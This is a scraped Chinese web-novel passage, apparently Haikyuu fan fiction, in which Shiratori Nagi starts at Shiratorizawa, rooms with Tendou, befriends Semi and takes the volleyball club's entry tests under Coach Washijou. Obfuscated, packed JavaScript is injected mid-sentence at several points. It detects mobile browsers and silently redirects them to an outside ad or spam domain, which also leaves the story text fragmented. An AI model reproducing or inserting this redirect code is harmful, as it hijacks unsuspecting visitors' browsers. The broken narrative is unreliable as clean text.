0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167307|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两人才起身，交换了联系方式。 白鸟凪的背影渐行渐远，大平狮音看着手机屏幕上新增加的联系方式，点开了另一个人的聊天对话框： 「大平狮音：牛岛，我今天遇到了白鸟凪，是个很有趣的人。」 没过多久，新消息的提示音响起。 是牛岛若利的回复： 「牛岛若利：很擅长讲笑话？」 大平狮音哭笑不得：“也不是这种有趣啊……不过阿凪的话，应该很擅长讲笑话吧。” 他有预感，接下来的高中三年，一定会非常精彩。 另一边，白鸟凪脚步轻快的回到了家中。 这个公寓离黑丰中学很近，走路十分钟就能到学校，但离白鸟泽就有点远了。 “我记得白鸟泽似乎是寄宿制学校……”白鸟凪喃喃自语道：“干脆住校好了。” 虽然有些不自由，但住校的话，一来外公外婆也不会再过度担心，二来他也不用每天都将一部分时间消耗在通勤上。 他很轻松的做出了住校的决定，然后开始打包自己的行李。 希望能匹配到一个好相处的室友——当然，就算是很不好相处的家伙，他也能轻松搞定！ 不要小瞧白鸟大人的魅力！ 白鸟凪超自信！ 在白鸟凪对高中生活的期待中，开学日如期而至。 白鸟凪换上了白鸟泽的校服。 白鸟泽的校服是西装款式，白色的外套领子边缘是深紫色的勾边，领带是紫色格纹的配色，里面搭配的是蓝灰色的衬衫，让这套衣服多了些层次的变化。 裤子是很普通的紫色格纹西装裤，和领带是相同的款式配色。 他站在镜子前，左扭扭又晃晃，随即满意的点点头。 白鸟泽的校服还不错，很符合他的审美。 背上书包，拎上行李箱，走出家门。 开学第一天，新生报到！ 他的身后，是白鸟大辅和白鸟梨沙子眼泪汪汪的告别。 路途较远，白鸟凪只能麻烦家里的司机送他上学。 “辛苦了，川上叔叔。”白鸟凪对着司机叔叔点点头。 司机川上笑了笑：“能接送小少爷，其他人都要羡慕我了。” 他轻松将白鸟哄得眉眼弯弯，这才启动车子。 川上在白鸟家工作很多年了，小少爷上小学的时候也是由他接送的。 车子稳稳的停在白鸟泽门口，白鸟凪下车，对着川上叔叔挥挥手：“请注意安全。” 随后才拎着行李箱背着小书包，开开心心的上学去了。 司机川上看着小少爷走进学校的背影，眼神中带着几分怀念。 上一次见到这样的场景时，小少爷还没有他高呢。 “一转眼，已经长这么大了啊……” 走进白鸟泽的白鸟凪在报到处确认了自己的宿舍位置并领取了宿舍钥匙后，拎着沉重的行李箱直奔宿舍楼。 这是他第一次住宿，因为没有经验，所以带了很多不知道会不会有用的东西，将行李箱塞得满满当当。 好在他所在的楼层并不高，以他的体能可以轻松拎着这个大行李箱来到自己的寝室。 白鸟凪掏出钥匙，开锁，推门。 那束火焰般热情的红色映入他的眼底。 他们果然很快就见面了。 13. 开学君 白鸟凪拎着行李箱，眨眨眼：“好久不见，小红。” 看来他的第一位白鸟泽好友要换个名字了。 天童觉的笑容顿时一僵：“我不是已经跟你说过我的名字了吗？” 白鸟凪理直气壮：“小红也很好听！” 天童觉：“……好吧，随便你。” 他顺手接过白鸟凪的行李箱，指了指身边的上下铺：“想要哪个？” 天童觉也是刚到宿舍，还没来得及整理行李。 白鸟凪伸了个懒腰：“你似乎比我高点，住在上铺很容易撞到脑袋吧？还是我住上铺吧。” 天童觉打量了一下白鸟的身高：“你也不矮，住上铺一样会撞到头。” 白鸟凪一脸骄傲：“我的脑袋如今也是岩泉严选，没问题的！” 一开始岩泉一捶他的时候还很内疚——毕竟两人的关系也没好到随便揍的程度。 但白鸟凪和及川彻凑在一起的时候，太吵了。 于是岩泉一就揍习惯了。 白鸟凪也因此修炼出了一颗坚强的脑壳——果然，人的潜力是无穷无尽的。 听到白鸟凪的解释，天童觉：…… 他的红色眼睛里亮起小星星。 和白鸟同一个宿舍的话，感觉会发生很多有趣的事！ 天童觉笑眯眯的接受了白鸟的体贴，将床具铺在了下铺。 白鸟凪虽然是第一次住校，但他已经独居生活了三年，对于铺床这种基础家务，他已经做得非常得心应手了。 于是他在上铺三下五除二的整理好床铺后，顺着梯子下来时，发现天童觉还在思考为什么被芯的四个角不能妥帖的出现在被罩的四个角里。 白鸟凪：……难道小红只是长了一张显得很聪明的脸，其实是个笨蛋？ 他十分自然的将天童觉推到一边，然后开启家务模式。 在天童觉手中十分不听话的被子，落在白鸟凪的手中便任由摆弄，乖巧得不可思议。 天童觉叹为观止，双臂环抱在胸前，靠着墙，笑眯眯的夸赞道：“小白真能干！” 话音刚落，肉眼可见的，白鸟凪铺床的动作更加迅速干练，像是摁了加速器一样。 白鸟凪一边铺床一边用小眼神瞄天童，仿佛十分得意：来吧，请尽情的夸赞我！ 天童觉：哇塞！超好哄的！ 曾经被同伴称作妖怪的天童觉，毫不犹豫的满足了白鸟的小心思： “这么轻松就将被子铺好了，小白好棒！” “诶~小白叠的被子好整齐啊，像豆腐块一样！” “床单一点褶皱都没有，小白你真厉害。” 白鸟凪在天童觉浸了蜜糖一样的夸赞声中，越干越起劲，越干越精神，没一会儿的功夫，天童觉就得到了一个超完美的床铺。 看着整整齐齐仿佛在发光一样的床铺，天童觉对自己未来的住校生活充满了希望。 太好了，是夸夸五分钟、干活两小时的超强待机室友！ 白鸟凪将天童觉的床铺铺好后，又拿起了抹布。 “分我一块。”天童觉笑眯眯的伸手。 白鸟凪分给天童一块干净的抹布。 两人开始闷头打扫起整个房间。 “你刚刚叫我小白？”白鸟凪突然反应过来。 天童觉直起身，半蹲着回头，指着自己的头发：“我小红。” 他又指了指白鸟凪的头发：“你小白。” 白鸟凪恍然，随即竖起大拇指：“你是天才啊，小红！” 天童觉微愣，没想到这样的夸赞也可以如此直白的说出来。 他露出猫猫开心脸，双手比耶：“我是天才小红！” 白鸟凪双手竖起大拇指：“我是天才小白！” “我们是天才组合！” 两人一边玩闹一边打扫。 不擅长铺床的天童觉，倒是意外的擅长打扫卫生，两人分工合作，很快将本就很干净的寝室打扫得像是抛光过一样。 接下来就是整理各自的行李箱了。 白鸟泽的寝室布局很简单，入门的左手边是两个鞋柜，紧接着是两个并排的立式衣柜，空间很大可以同时储物和放置衣服。 衣柜紧挨着上下铺的床位，充分考虑到了少年身高对床位的需求，长2.2米宽1.5米，可以睡得很舒适。 床位贴着墙，靠着一个很大的窗户，可以清晰的看到教学楼。 而床的对面，则是两个并排的学习桌，配着两把椅子。 卫生间和浴室都是公共的，每个寝室楼层都有，二十四小时提供热水。 因为寝室空间比较宽敞，所以两个一米八大个少年生活在其中也不会显得拥挤。 白鸟凪将行李箱里占据了最大空间的抱枕拿了出来。 天童觉有些震惊的看着这个抱枕，疑惑道：“你把这个大白鹅……天鹅抱枕也带过来了？” 日语中，天鹅就是白鸟，鹅倒是有另外的称呼。 所以天童觉称呼起这个抱枕来总是情绪很复杂。 白鸟凪抱着“白鸟”，眼神无辜：“我最近要抱着它才能睡觉。” 天童觉看着“白鸟抱白鸟”的世界名画，对上那两双如出一辙的无辜眼睛——他到底是怎么从那只天鹅抱枕的眼睛里看出无辜的？ “好吧，将它放在家里的话，或许它会很寂寞。”天童觉抬手，戳了戳天鹅抱枕的鹅脸：“你好，现在你是我们这个寝室的第三位成员了。” 白鸟凪看着笑意吟吟的和抱枕打招呼的天童觉，心中升起莫名的情绪。 没想到这家伙还挺幼稚的…… 白鸟凪握着天鹅抱枕的小脑袋，让天鹅抱枕对着天童觉点点头，并夹着嗓子的发出尖细声音： “你好，小红，我叫……小白鸟！” 他是大白鸟，天鹅抱枕是小白鸟，很合理。 心里吐槽天童觉幼稚的白鸟凪，做出了比天童觉更加幼稚的行为。 “你好，小白鸟，我叫天童觉。” 在白鸟凪的操作下，小白鸟和天童觉成功完成交换名字并握手的环节。 小白鸟睁着无辜的天鹅眼睛，发呆…… 两人幼稚过后，终于开始认真整理行李箱。 白鸟凪带了很多套私服，虽然平时上学没什么机会穿，但放学后他还是很想穿得自由一点。 接下来是洗漱用品、各种奇怪但可以提升生活质量的小工具、没什么意义但看着就很开心的摆件…… 天童觉只带了些生活用品和换洗的衣服，至于其他的可以等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167308|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日后想到了再添置，所以他早早就收拾完，坐在自己的床铺上看着白鸟凪将行李一件一件的往外掏。 随着行李箱里的东西减少，这个原本空旷整洁但没什么生活气息的寝室里渐渐多了几分温馨。 天童觉想，白鸟凪真是一个很热爱生活的人。 将一切都收拾妥当后，白鸟凪看了一眼时间：“还有20分钟就是新生入学典礼了，要一起去吗？” 天童觉回答道：“好啊！” 两个充满活人味的少年，终于走出了寝室。 一路上，白鸟凪看什么都新奇。 天童觉奇异的脑回路微微一转：感觉白鸟像是刚从笼子里放出来的一样。 “被外公外婆摁在家里一个星期，终于自由了！”白鸟凪双手高举，感谢苍天，感谢开学日。 天童觉：……原来真的刚从笼子里被放出来。 白鸟凪无论看到什么新奇的东西都要凑上去观察一会儿，所以两人的速度很慢，等走到新生入学典礼现场时，典礼已经快要开始了。 “1年1班……1年1班……”白鸟凪找啊找，终于找到了1年1班的位置，其中一个椅子上贴着他的名字。 他坐下，明明是很放松的姿态，却莫名给人一种十分端正的感觉。 坐在一旁的濑见英太用余光打量着这个白毛——他并不想鬼鬼祟祟的打量一个人，但这家伙实在是太耀眼了。 往他身边一坐，像是凭空出现了一个光源一样，刺得他眼睛都疼。 这个世界上真的有自带滤镜的人吗？ 濑见英太陷入沉思，余光依旧时不时的扫过身侧。 白鸟凪对于落在自己身上那些若有若无的视线并不在意，如他这样完美的人，被注视被探究也是理所当然的事。 只是他有个疑惑，让他的心像是被羽毛扫来扫去一样，痒痒的。 此时，新生入学典礼已经正式开始，白鸟泽的校长正在讲台上发表讲话。 白鸟凪终于忍不住，侧过头看向身边的少年，低声道：“你的头发好帅！是渐变色！” 像是暹罗猫的毛毛一样，由浅到深的颜色，发尾还微微上翘着，一看就不是性格乖顺的家伙。 濑见英太眼神微动，有些凌厉的上调眉眼让他帅气的脸上多了几分不羁的傲慢和凶悍。 “你的也很棒。”濑见英太礼尚往来，目光从那头漂亮的白发上扫过：“是干净又清爽的白色。” 两人对视一眼，都从对方的眼神中看到了对自己的赞美。 没错，即使他们是在夸赞对方，但语气中也依旧满是对自己的欣赏。 确认过眼神，都是超爱自己的人。 “白鸟凪。”白鸟凪认真做自我介绍。 “濑见英太。”濑见英太也低声回答。 感觉开学第一天就交到了很棒的朋友。 另一边，1年1班的班主任疯狂给这两个笨蛋学生递眼神，递得眼角都抽筋了。 你们两个不要在第二排窃窃私语啊！校长在瞪你们了……又瞪你们了！ 好在两人交换名字后就老实下来，鼻观口口观心，进入冥想状态。 1班班主任有些心累的闭上眼睛。 他有种预感，他的职业生涯即将迎来重大挑战…… 14. 入部君 漫长且无聊的新生入学典礼终于结束，学生们排排站，在各班班主任的带领下，回到自己班级的教室。 回教室的路上，白鸟凪看着周围陌生的景色，终于对“成为高中生”这件事有了些许实感。 他摩挲着手指，突然很想想打排球。 牛岛若利应该是直升高中部吧？ 狮音在哪个班呢？ 话说他在1班，小红在2班，为什么他们两个会被分到同一间宿舍啊？难道1班的男生和2班的男生刚好都是单数，所以将他们两个单数凑成一对吗？ 白鸟凪胡乱想着，直到走进教室、坐在自己的位置上，也依旧没有回过神。 “喂，白鸟。”濑见英太坐在白鸟的前桌，刚刚进行完自我介绍，坐下后等了两秒发现身后毫无动静，一回头就见这家伙在发呆。 完全沉浸在自己的世界里啊，白鸟。 “该进行自我介绍了。”濑见英太不得不加大音量提醒道。 白鸟凪瞬间回神，却并没有如大家预想的那样慌慌张张的站起身，而是不紧不慢的起立，站直，仿佛刚刚发呆的那个人不是他一样。 当他开口的瞬间，1年1班的全员似乎都看到了他身后那张扬又华丽的尾巴正徐徐展开，背景塞满了绽放的玫瑰。 “我叫白鸟凪，毕业于黑丰中学。” “是集帅气与才华于一身的全能天才。” 他嘴角上扬，勾起一抹布灵布灵的笑容，下巴微微抬起，目光从他的同学们身上一一扫过，像是国王巡视自己的领土： “希望在白鸟泽的每一天都有有趣的事发生。” 白鸟凪抬手，打了个清脆的响指：“或许我需要一点掌声？” 众人眼神迷茫，手却下意识的抬起，开始呱唧呱唧的鼓掌。 ……这家伙怎么回事？ 濑见英太也有些惊愕的看向白鸟凪，虽然他对白鸟的性格早有预感，但个性到这种程度……不，已经不是个性的问题了！ 他是怎么把这么羞耻的话用这么淡定的语气说出来的？ 白鸟凪眼里划过一抹愉悦，在掌声中施施然的坐下。 对上濑见英太毫不收敛的视线，白鸟凪挑眉：“你在惊讶什么？” 濑见英太嘴角微抽：“……没什么。” 算了，只是自恋Plus而已。 要尊重人类的多样性。 白鸟凪并不知道自己已经被当做怪人了，他对自己的自我介绍非常满意。 真是一个完美的开局！ 黑丰中学3年1班，白布贤二郎突然打了个寒颤。 “感觉到了开屏的气息……应该不是白鸟学长吧，白鸟学长都已经上高中了……” 白布贤二郎小声嘀咕：“白鸟泽离黑丰挺远呢。” 白鸟凪，余威犹在。 …… 鹫匠锻治一脸深沉的坐在办公室里，面前是自己特招到白鸟泽的学生资料。 齐藤明在一旁安静的坐着，眼神时不时的瞄向鹫匠教练。 鹫匠教练已经这样静坐半个小时了……眼前那几张资料翻来覆去的看，完全不知道鹫匠教练到底在想什么。 “你看我做什么？”鹫匠锻治盯着眼前的资料，突然出声问道。 齐藤明吓了一跳，回过神后老实回答：“鹫匠教练你已经看了很久的资料了，这些资料有什么问题吗？” 桌上这几个学生资料都是鹫匠教练一个个亲自谈话特招到白鸟泽的，对于这些资料，鹫匠教练很早以前就熟读并背诵了。 如今鹫匠教练又将这些资料翻出来盯了许久，实在是让人摸不到头脑。 鹫匠锻治慢慢将桌子上散落的资料整理起来，淡定道：“没什么，我就看看。” 齐藤明沉默片刻，犹豫道：“您是后悔没有提前特招白鸟了吗？” 新生入学名单出来后，齐藤明偷偷向教导处那里询问过白鸟这个名字，然后非常惊讶的发现，被鹫匠教练评价笨蛋的白鸟凪，竟然是以远超分数线的成绩考进白鸟泽的。 只是鹫匠教练从黑丰中学回来后，便再也没有提起过白鸟的名字，所以他也没提。 ……咳，也可能是他比较好奇鹫匠教练在看见白鸟凪时，会露出怎样的惊讶表情吧。 齐藤明心虚的移开视线。 鹫匠锻治轻哼一声：“我才不后悔，不合适就是不合适，那个臭小子在青城会有更好的发展。” 因为齐藤明没再向他汇报关于白鸟凪的后续，所以鹫匠锻治默认那孩子去了青城……入畑那家伙竟然没跟他打电话炫耀，真令人意外。 齐藤明挠头：“我一直很疑惑这个，为什么白鸟更适合青城？如您这样可以根据选手的特色进行培养的教练，也没办法更好的培养白鸟吗？” 鹫匠锻治毫不犹豫道：“我当然可以很好的培养白鸟，那臭小子虽然气人，但天赋确实很好……只可惜白鸟泽已经不缺少尖端战力了。” 白鸟泽缺少的，是可以把控全局、调度队伍、操控赛场的二传手。 白鸟凪具备以上的一切特质，但他是战力，没办法为队伍提供稳定高效的托球。 而作为战力的白鸟凪，很难在拥有众多顶尖攻手的白鸟泽得到更多的队伍战术倾斜。 白鸟泽未来三年里，会是以牛岛若利为核心的队伍。 这就是鹫匠锻治认为白鸟凪更适合青城的原因——及川彻、岩泉一加白鸟凪的组合，是他和入畑都一致认可的最优解。 齐藤明这下终于可以确定，鹫匠教练确实并不讨厌白鸟，甚至非常喜欢白鸟——众所周知，傲娇的喜欢总是很别扭，傲娇老头尤甚。 他想起自己看到的入学名单，松了口气。 至少鹫匠教练并不讨厌白鸟，这就够了。 接下来不管有什么问题，都可以在相处和沟通中解决。 鹫匠锻治看着手中的资料，心里偷偷的叹气。 虽然他嘴上说不后悔，但当他看到提前特招的学生资料表中并没有白鸟的资料时，心里还是有点遗憾。 如果白鸟凪是二传手就好了……白鸟泽一定会迎来前所未有的巅峰。 “走吧，部活时间就要到了。” 鹫匠锻治缓缓起身，苍老的身体和精明凌厉的眼睛，让他弯着的腰都显得格外刚硬。 齐藤明没有扶着鹫匠教练，而是跟在了鹫匠教练身后半步的位置， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167309|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是沉默的守护者。 只是眼里不断闪烁着期待的光芒。 糟糕，好像真的在不知不觉间变成乐子人了。 齐藤明嘴角藏着小小的恶趣味。 “学长你好，这是我的入部申请表——啊，小红你也在这里！” 鹫匠锻治刚刚走进体育馆的大门，就听到了一道算不上熟悉但也不陌生的声音。 随即入目便是纯粹的白色头发，像是天鹅的羽毛一样，在光线下折射出微微的光泽。 鹫匠锻治倒吸一口凉气，本就凶悍的眼睛顿时瞪得更圆，一字一顿：“白鸟凪？” 白鸟凪正在递出自己的入部申请，转头就看到了他心心念念的鹫匠教练：“鹫匠教练下午好！” 鹫匠锻治条件反射般回答：“下午好……不对！” 他环视一周，在学生们好奇的目光下，鹫匠锻治将嘴边的质问咽了回去。 当着这么多学生的面，问被他劝退过的白鸟凪为什么出现在了白鸟泽排球部的专用体育馆……他是教练，不是蠢蛋。 这话如果真的问出口，以后白鸟凪就很难和队友相处了。 不制造队员与队员之间的矛盾，是一名教练最基本的能力。 鹫匠锻治对上白鸟那灿烂到刺眼的笑容，心里咬牙切齿的想：所以，为什么还是来了！ 虽然“劝退”听上去有些残酷，但鹫匠锻治的确是出于好心才跑了那么一趟，并且真心希望白鸟凪能有更好的发展。 ……结果，白鸟这臭小子就站在这里对他傻笑！ 笑什么笑？不许笑！ 鹫匠锻治有些心累的移开视线，不再去看那闪耀得有些刺眼的笑容。 他也不想去深究，为什么自己在白鸟泽的体育馆看见白鸟凪时，心底偷偷松了口气。 大概他内心深处也觉得，或许沾糖的瓜也很甜吧。 ……这种白鸟式思考模式是什么回事？白鸟凪这孩子有毒吧！ 鹫匠锻治脸猛地一黑，只是他本来就是严肃脸，黑个一两成也看不出来。 “鹫匠教练，这是所有申请入部的新生申请表。”白鸟泽高中排球部队长丸山藤恭敬递出手中的申请表。 鹫匠锻治接过，在手中随意的翻看着，其中大部分的选手他都了然于心，唯独在看到白鸟凪的申请表时心梗了一下。 算了，来都来了。 没有他教不好的学生！ 鹫匠锻治深吸一口气，沉声道：“藤，整队。” 丸山藤点头：“是。” 几秒钟后，新入部的少年们站成一排，由鹫匠教练检阅。 白鸟凪对着身侧的天童觉眨眨眼：小红，原来你也是打排球的！ 天童觉笑眯眯的回视，眨眨眼：我可是当着你面整理的行李箱，你真的没看到我的排球鞋吗？ 白鸟凪微微摇头：完——全没看到！只看到了你带的巧克力！ 天童觉嘴角笑意更深：回寝室后请你吃。 “这么喜欢眉来眼去的，不如你们两个面对面站着看个够。”鹫匠锻治幽幽出声。 白鸟凪和天童觉同时表情一亮。 面对面眉来眼去什么的……也很棒！ 15. 夸赞君 见这两个臭小鬼蠢蠢欲动的样子，鹫匠锻治又瞪了两人一眼才再次开口： “我叫鹫匠锻治，是白鸟泽高中排球部的总教练。” 齐藤明自然而然的接上：“我叫齐藤明，是鹫匠教练的教助，大部分时间将由我带领大家进行基础训练。” 鹫匠锻治等齐藤明说完后，缓缓出声：“一年级做自我介绍，说清楚自己的名字、身高和位置。” 最左边的牛岛若利率先站出来，表情平静道：“我叫牛岛若利，出身于白鸟泽国中部，身高185.6cm，位置是主攻手。” 随后，一年级选手依次出列，进行自我介绍。 “我叫大平狮音，出身于白鸟泽国中部，身高178.4cm，位置是主攻手。” “我叫添川仁，出身于白鸟泽国中部，身高175cm，位置是主攻手。” …… “我叫山形隼人，出身于福贤中学，身高170.3cm，位置是自由人。” “我叫濑见英太，出身于寺拓中学，身高175.1cm，位置是二传手。” “我叫天童觉，出身于木昂中学，身高182.4cm，位置是副攻手。” 到了最后一个，白鸟凪。 鹫匠锻治对上白鸟凪那令人不安的笑容，心里猛地一颤。 他年纪大了，经不起吓。 “我叫白鸟凪，出身于黑丰中学，身高180.6cm。” 白鸟凪不知道从哪掏出来一个排球，惊得众人瞬间瞪大眼睛。 这家伙什么时候把排球握手里的？他们怎么没发现？！！ 白鸟凪转着排球，摆出帅气的姿势：“位置是全能主攻手，颜值与实力并存的完美王牌。” 白鸟凪将排球精准无误的丢回排球车里，转头对上众人惊愕的视线，他微笑：“掌声在哪里。” 体育馆莫名其妙的响起了淅淅沥沥的掌声。 白鸟泽排球部众：不知道啊，手突然就自己鼓起掌了。 白鸟凪完美谢幕……个鬼啊！ “臭小子……”鹫匠锻治咬牙切齿：“尾巴翘到天上去了！” 齐藤明连忙低声劝道：“他的实力确实允许他骄傲……” 就是骄傲过头了，有点……中二。 齐藤明将笨蛋这个词咽了回去。 鹫匠锻治抬头，直视齐藤明：你确定只是骄傲？不是开屏？ 齐藤明心虚的移开视线：反、反正这样的性格也挺有趣的嘛……一直以来，白鸟泽怪人就很多啊！ 白鸟凪只是一个很传统的白鸟泽人罢了！ 齐藤明又变得理直气壮起来。 鹫匠锻治一点都不想深究齐藤明突然变得理直气壮的原因。 “白鸟泽目前共有31名选手，首发和替补的位置共有12人。” 鹫匠锻治很快就冷静下来，继续完成他对新成员的讲话：“这里只有一个规则，那就是强者为尊。” 他的眼睛里折射出锋利的精光，让选手们心里突地一跳： “只要你够强，即使是一年级也可以首发上场。” 什么后辈尊重前辈……在白鸟泽的赛场上，不看资历，只看实力。 白鸟泽众人表情一肃：“是！” 鹫匠锻治双手背在身后，平静的吩咐道：“藤，你带着二三年级的选手去一旁热身，等下过来和一年级一起做基础测试。” 丸山藤了然的点点头：“我明白了。” 等丸山藤带着二三年级的选手们到体育馆的另外半场后，鹫匠锻治盯着班底中唯一一个例外，没好气道： “既然你们选择了白鸟泽，那么接下来的三年里，我是不会手下留情的。” 白鸟凪眼睛一亮：“太好了！” 鹫匠锻治：……？ 他有些头痛的摁了摁自己的太阳穴，不断做深呼吸：白鸟凪只是一个笨蛋而已，和笨蛋计较没必要…… 白鸟凪嘴角扬起神秘微笑。 虽然他心里很清楚鹫匠教练的劝退是为他好，但他还是很小气。 尊师重道什么的就放在心里吧，在接下来长达三年的相处里，鹫匠教练您将体验到，什么是鹅飞鹫跳的美妙日常。 白鸟泽一年级众看着一句话就将鹫匠教练噎住的白鸟同学，眼中渐渐升起的，是敬仰。 白鸟凪，好勇！ 白鸟凪虽然用出其不意的开朗小小的攻击了一下鹫匠教练，但接下来还是很乖巧的听从了鹫匠教练的指示，老老实实的完成热身。 然后就是所有人喜闻乐见的入部测试环节。 二三年级热身结束后就站在一旁，围观一年级的入部测试。 据说这一届的一年级大部分都是鹫匠教练亲手特招来的。 鹫匠教练为了打造一个以牛岛若利为核心的究极强度队，在每一个选手的选择上都再三思索，认真考量过每一个选手的个性搭配，最终确定了队伍的雏形。 换句话说，这一批新生，是鹫匠教练严选款。 二三年级们努力克制着自己好奇期待的目光，让自己显得更加正经一点。 他们可是前辈，要给后辈们留下一个可靠的印象！ 按照刚刚自我介绍的顺序，白鸟泽一年级们排成一排，有序进行入部测试。 第一项是摸高测试。 牛岛若利用指尖捻了捻齐藤教练提前准备好的白色粉末，这样就可以在篮球板上留下印记。 拉开助跑距离，迈步—— 白鸟凪下意识开始预测牛岛若利的起跳节奏，脑海中有数个起跳节点，分布在牛岛若利的助跑路线上。 是这个？还是这个？ 白鸟凪“看着”牛岛若利踩过一个又一个起跳节点，在一处最佳点，牛岛若利踩住了制动步。 他嘴角上扬，眼里闪过愉悦的情绪。 猜中了。 牛岛若利的动作标准但不笨重，每一步都像是教科书般精准沉稳，起跳时不疾不徐，是这个年纪的选手难得的大将风范。 可以预见，这样的他站在赛场上，面对三人拦网也会毫不犹豫的起跳时，会给对面拦网选手带来多大的心理压力。 而他的背影，则是激励起队友斗志的完美旗帜。 “340cm。”丸山藤报出数值后，齐藤明记录。 二三年级选手们出现了小片的哗然声。 他们早就知道国中部有个超级厉害的学弟，一手左手重炮连续三年带领白鸟泽国中排球队打进全国。 但他们还是第一次如此直观的意识到，牛岛若利的厉害绝不仅仅限于左手，这家伙的强大，是全方位的强大。 前辈们感受到了刺骨的危机感。 鹫匠锻治眼神满意，但表情却依旧保持严肃，对这样惊艳的表现没有任何评价。 身为白鸟泽，这是理所当然的强大。 “下一个。”他平静道。 白鸟凪对着路过的牛岛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169738|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若利竖起大拇指，做出口型：真厉害！ 这样帅气的表现，怎么能不夸赞呢？ 牛岛若利接收到夸夸信号，愣了一下后才反应过来，对着白鸟凪点点头。 他走到白鸟凪身后，站定，准备下一轮的测试。 牛岛若利突然想起大平对白鸟凪的评价，大平说，白鸟是个很有趣的人。 他认为，大平的评价非常中肯。 有牛岛若利这个珠玉在前，后面的选手在摸高这项测试上表现得平平无奇，没有很差，也不算出彩。 但白鸟凪还是给每一个路过他的同期送上了大拇指鼓励。 虽然没有牛岛若利厉害，但也是很棒的成绩了！ 白鸟泽一年级们：……白鸟这家伙，有一根非常强壮的大拇指。 鹫匠教练从始至终都是一副臭脸老头的样子，严肃、专注，看不出情绪。 直到白鸟凪上前一步，站定。 鹫匠锻治的表情出现了细微的波动，很复杂。 白鸟凪的行为太难以预测，以至于每一次看到白鸟凪做出“预备——搞事！”的状态时，他都有些心惊胆战。 明明他和这孩子只是第二次见面，却有一种相识了很久的疲惫感。 可能是精神上的折磨吧。 鹫匠锻治疲惫的想。 然而这一次，白鸟凪并没有整活。 他对待排球，是非常认真的。 白鸟凪用手指捻了捻白灰，拉开助跑距离后，站定。 众人聚精会神，看着白发少年深吸一口气后，开始助跑。 第一步迈出，随后就是越来越快的速度，像是被风推着前进一样，仿佛眨眼间就到了起跳的那一刻。 白鸟凪的起跳并不像牛岛若利那样厚重、扎实，而是轻盈的、像是弹簧压缩到极致后再弹起一样，以极快的速度完成起跳。 众人下意识的屏住呼吸，看着白鸟凪的手印摁在篮球板上。 “340cm……”丸山藤嘴角微动，眼神中带着几分震撼。 牛岛和白鸟之间是有身高差距的——牛岛正正好好比白鸟高了5cm。 但他们两个的摸高成绩，却是完全一样。 白鸟凪却有些遗憾：“一样啊……” 不过这也确实是他目前最好的成绩了，两个月前他的摸高成绩还不到340cm呢。 白鸟凪遗憾了几秒后就将平局这件事丢到一边，转头看向鹫匠教练，眼睛亮晶晶的，眼里意思十分明显： 夸我！ 鹫匠锻治：夸屁！ 鹫匠锻治对选手们一视同仁，连个眼神都没给白鸟，只是心里暗暗惊叹：白鸟在去年的县大赛上还跳不出这样的高度，没想到短短几个月过去，他就再次做出了突破。 虽然发育期的少年一天一变，但这样的成长速度依旧让他十分惊讶。 白鸟凪没有得到鹫匠教练的夸赞，却并没有沮丧，只是脚步轻快的向队伍末尾的方向走去。 鹫匠教练一定是爱在心口难开，傲娇嘛，他都懂。 小天鹅自信仰头.jpg 路过牛岛若利时，他迎面撞上了一个大拇指。 白鸟凪有些疑惑的看向大拇指的主人，是一脸平静的牛岛若利。 见白鸟看过来，牛岛若利也学着白鸟凪的样子做口型： 厉害。 白鸟凪：心！花！怒！放！ 他决定了，他要和若利做好朋友！ 16. 充电君 被牛岛若利夸赞的白鸟凪雄赳赳气昂昂，一路走过去，所有被他大拇指点赞过的同期都为他竖起了大拇指。 和他更熟悉一点的天童觉、大平狮音和濑见英太更是竖起了两个大拇指。 赞美白鸟！ 白鸟凪笑容越来越大，脚步越来越飘，连两只手都开心得摆起来了。 看着啪嗒啪嗒走回队伍的白鸟凪，鹫匠锻治沉默。 搞得好像他是什么恶人一样……粘粘糊糊的臭小子们。 鹫匠锻治扭过头，不再理会少年们在短暂时间里迅速升温的友情，开始了下一项测试。 无助跑摸高、接球、托球、发球…… 二三年级们的表情越来越凝重，眼里满是震撼。 这群“鹫匠教练严选”后辈的表现太过出色，他们在各自位置上的测试中都有着令人眼前一亮的精彩表现。 至于那个在自我介绍时就放言说自己是“全能主攻手”的白鸟凪，更是在每一项测试上都有着可圈可点的成绩。 即使他并不是每一项都突出的厉害，但全能一词也确实实至名归。 将这样一群选手集中到同一支队伍中，那么这支队伍的强大毋庸置疑。 